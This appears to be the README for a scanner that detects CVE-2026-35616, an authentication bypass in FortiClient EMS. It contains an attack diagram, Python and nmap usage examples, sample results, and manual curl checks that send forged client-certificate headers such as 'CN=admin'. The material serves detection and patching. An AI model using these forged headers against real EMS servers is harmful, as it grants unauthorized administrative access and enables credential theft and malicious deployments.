+----------------+          +----------------+          +----------------+
|   浏览器 /     |  HTTPS   |    Apache      |   WSGI   |    Django      |
|   API 客户端   | -------> |   (mod_ssl)    | -------> |    后端        |
+----------------+          +----------------+          +----------------+

安全路径（预期）：
  Apache mod_ssl 验证证书 --> 设置 WSGI 环境变量 --> Django 读取环境变量  [正常]

不安全路径（漏洞）：
  攻击者直接设置 HTTP 请求头 --> Django 读取请求头 --> 信任它们  [失败]

步骤 1：攻击者向 EMS API 端点发送 POST 请求
        并携带以下请求头：
        
        X-SSL-CLIENT-VERIFY: SUCCESS
        X-SSL-CLIENT-S-DN: CN=admin
        X-SSL-CLIENT-SERIAL: 0000000000000001

步骤 2：Django 中间件检查 WSGI 环境变量 → 不存在
        回退到 HTTP 请求头 → 找到 X-SSL-CLIENT-VERIFY: SUCCESS

步骤 3：中间件将请求视为以管理员身份认证

步骤 4：攻击者获得完整的管理 API 访问权限

步骤 5：通过管理 API，攻击者可以：
        - 向所有受管端点推送恶意策略
        - 提取存储的凭据和证书
        - 通过软件分发部署载荷
        - 修改 ZTNA 配置
        - 横向渗透到更广泛的网络

# 安装依赖（此脚本仅需标准库）
pip install -r requirements.txt

# 单个目标
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100

# 自定义端口
python CVE-2026-35616_FortiClientEMS_detector.py -t ems.corp.local -p 8443

# 从文件批量扫描
python CVE-2026-35616_FortiClientEMS_detector.py -f targets.txt

# JSON 输出保存到文件
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --json -o results.json

# 启用 SSL 证书验证
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --verify-ssl

# 为慢速网络增加超时时间
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --timeout 20

╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-35616 - FortiClient EMS 认证绕过检测器           ║
║  预认证 API 访问绕过 → 权限提升                              ║
║  CVSS: 9.1（严重）| CISA KEV：活跃利用                       ║
╚══════════════════════════════════════════════════════════════╝

[*] 正在扫描 192.168.1.100:443...

目标：192.168.1.100:443
============================================================
  [*] 检测到 FortiClient EMS（版本：未知）

  漏洞测试结果：
    [存在漏洞] /api/v1/auth/signin  基线：401 → 伪造：500
    [存在漏洞] /api/v1/system/status  基线：401 → 伪造：500
    [无漏洞] /api/v1/endpoints  基线：401 → 伪造：401

  [!] 目标很可能存在 CVE-2026-35616 漏洞
      已确认预认证 API 绕过。请立即应用热修复！
      修复措施：升级到 FortiClient EMS 7.4.7 或应用热修复

# 安装 NSE 脚本
sudo cp CVE-2026-35616_FortiClientEMS.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb

# 基本扫描
nmap -p 443 --script CVE-2026-35616_FortiClientEMS <target>

# 扫描子网
nmap -p 443 --script CVE-2026-35616_FortiClientEMS 10.0.0.0/24

# 从文件扫描多个目标
nmap -p 443 --script CVE-2026-35616_FortiClientEMS -iL targets.txt

# 带服务版本检测
nmap -sV -p 443 --script CVE-2026-35616_FortiClientEMS <target>

PORT    STATE SERVICE
443/tcp open  https
| CVE-2026-35616_FortiClientEMS:
|   存在漏洞：
|   FortiClient EMS 预认证 API 绕过
|     状态：存在漏洞
|     ID：CVE:CVE-2026-35616
|     风险因素：严重（CVSS：9.1）
|     披露日期：2026-04-04
|     附加信息：
|       受影响端点：2
|       修复措施：为 FortiClient EMS 7.4.5/7.4.6 应用热修复或升级到 7.4.7
|       CISA KEV 截止日期：2026 年 4 月 9 日
|     参考资料：
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35616
|_      https://www.cisa.gov/known-exploited-vulnerabilities-catalog

# 步骤 1：基线 - 应返回 401
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
  -H "Content-Type: application/json" \
  -d '{}' \
  -o /dev/null -w "%{http_code}\n"

# 步骤 2：伪造 - 如果返回 401 以外的任何状态码，则很可能存在漏洞
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
  -H "Content-Type: application/json" \
  -H "X-SSL-CLIENT-VERIFY: SUCCESS" \
  -H "X-SSL-CLIENT-S-DN: CN=admin" \
  -H "X-SSL-CLIENT-SERIAL: 0000000000000001" \
  -d '{}' \
  -o /dev/null -w "%{http_code}\n"